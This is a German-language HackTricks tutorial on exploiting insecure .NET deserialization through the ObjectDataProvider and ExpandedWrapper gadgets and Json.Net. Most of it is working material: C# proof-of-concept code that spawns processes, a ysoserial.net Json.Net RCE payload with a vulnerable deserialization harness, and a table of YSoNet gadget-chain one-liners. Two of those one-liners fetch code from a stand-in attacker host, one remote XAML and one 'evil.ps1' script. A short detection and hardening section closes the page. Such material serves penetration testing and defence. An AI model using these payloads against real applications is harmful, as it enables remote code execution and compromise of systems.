Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Dieser Beitrag ist gewidmet, um zu verstehen, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.

ObjectDataProvider Gadget

Aus der Dokumentation: Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können.
Ja, es ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu umschließen, MethodParameters zu beliebigen Parametern zu setzen und dann MethodName zu verwenden, um eine beliebige Funktion des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.
Daher wird das beliebige Objekt eine Funktion mit Parametern ausführen, während es deserialisiert wird.

Wie ist das möglich

Der System.Windows.Data-Namespace, der innerhalb der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.

Mit dnSpy können Sie den Code der Klasse, die uns interessiert, untersuchen. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Wie Sie beobachten können, wird bei der Einstellung von MethodName base.Refresh() aufgerufen, schauen wir uns an, was es tut:

Ok, lassen Sie uns weitersehen, was this.BeginQuery() tut. BeginQuery wird von ObjectDataProvider überschrieben und das ist, was es tut:

Beachten Sie, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Lassen Sie uns sehen, was das ausführt:

Beachten Sie, dass dies nicht der vollständige Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil davon: Der Code ruft this.InvokeMethodOnInstance(out ex); auf; dies ist die Zeile, in der das Methoden-Set aufgerufen wird.

Wenn Sie überprüfen möchten, dass durch das Setzen von MethodName** es ausgeführt wird**, können Sie diesen Code ausführen:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Beachten Sie, dass Sie als Referenz C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen müssen, um System.Windows.Data zu laden.

ExpandedWrapper

Mit dem vorherigen Exploit wird es Fälle geben, in denen das Objekt als ObjectDataProvider Instanz deserialisiert wird (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit GetType deserialisiert). Dann hat man keine Kenntnis vom Objekttyp, der in der ObjectDataProvider Instanz eingekapselt ist (zum Beispiel Process). Weitere Informationen zur DotNetNuke-Schwachstelle finden Sie hier.

Diese Klasse ermöglicht es, die Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben. Diese Klasse kann verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Dies ist sehr nützlich für Fälle wie den zuvor dargestellten, da wir in der Lage sein werden, _ObjectDataProvider** innerhalb einer **ExpandedWrapper _ Instanz zu verpacken und bei der Deserialisierung wird diese Klasse das OjectDataProvider Objekt erstellen, das die Funktion ausführt, die in MethodName angegeben ist.

Sie können diesen Wrapper mit dem folgenden Code überprüfen:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider-Gadget deserialisieren könnten, könnten wir durch das Deserialisieren eines Objekts eine RCE verursachen.

Json.Net Beispiel

Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisieren/deserialisieren kann:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Missbrauch von Json.Net

Mit ysoserial.net habe ich den Exploit erstellt:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In diesem Code kannst du den Exploit testen, führe ihn einfach aus und du wirst sehen, dass ein Calculator ausgeführt wird:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Fortgeschrittene .NET Gadget-Ketten (YSoNet & ysoserial.net)

Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die missbraucht werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne Red-Team-Tools wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von einsatzbereiten bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.

Unten finden Sie ein komprimiertes Referenzblatt der nützlichsten Ketten, die mit YSoNet geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Generierung der Payloads.

Gadget-KetteSchlüsselidee / PrimitiveHäufige SerializerYSoNet-Einzeiler
TypeConfuseDelegateKorruptiert den DelegateSerializationHolder-Datensatz, sodass der Delegate, sobald er materialisiert ist, auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorMissbraucht System.Workflow.ComponentModel.ActivitySurrogateSelector, um die .NET ≥4.8 Typfilterung zu umgehen und direkt den Konstruktor einer bereitgestellten Klasse aufzurufen oder eine C#-Datei im laufenden Betrieb zu kompilierenBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourNutzt die legacy XML-Darstellung von System.Data.DataSet, um beliebige Typen zu instanziieren, indem die Felder <ColumnMapping> / <DataType> ausgefüllt werden (optional mit --spoofedAssembly die Assembly fälschen)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsIn WPF-fähigen Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis System.CodeDom.Compiler.CompilerResults erreicht ist, dann wird eine DLL, die mit -c bereitgestellt wird, kompiliert oder geladenJson.NET typlos, MessagePack typlosysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (Überprüfung)Verwendet WPF System.Windows.Data.ObjectDataProvider, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische --xamlurl-Variante hinzu, um das bösartige XAML remote zu hostenBinaryFormatter, Json.NET, XAML, usw.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Betten ScriptBlock in System.Management.Automation.PSObject ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiertPowerShell-Remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Alle Payloads werden standardmäßig in stdout geschrieben, was es trivial macht, sie in andere Tools (z. B. ViewState-Generatoren, Base64-Codierer, HTTP-Clients) zu pipen.

YSoNet erstellen / installieren

Wenn keine vorkompilierten Binärdateien unter Actions ➜ Artifacts / Releases verfügbar sind, wird der folgende PowerShell-Einzeiler eine Build-Umgebung einrichten, das Repository klonen und alles im Release-Modus kompilieren:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die kompilierte ysonet.exe ist dann unter ysonet/bin/Release/ zu finden.

Erkennung & Härtung

  • Erkennen Sie unerwartete Kindprozesse von w3wp.exe, PowerShell.exe oder jedem Prozess, der Benutzerdaten deserialisiert (z. B. MessagePack, Json.NET).
  • Aktivieren und erzwingen Sie die Typfilterung (TypeFilterLevel = Full, benutzerdefinierter SurrogateSelector, SerializationBinder, usw.), wann immer der veraltete BinaryFormatter / NetDataContractSerializer nicht entfernt werden kann.
  • Wo möglich, migrieren Sie zu System.Text.Json oder DataContractJsonSerializer mit konvertierbaren Whitelists.
  • Blockieren Sie gefährliche WPF-Assemblies (PresentationFramework, System.Workflow.*), die in Webprozessen geladen werden, die sie niemals benötigen sollten.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks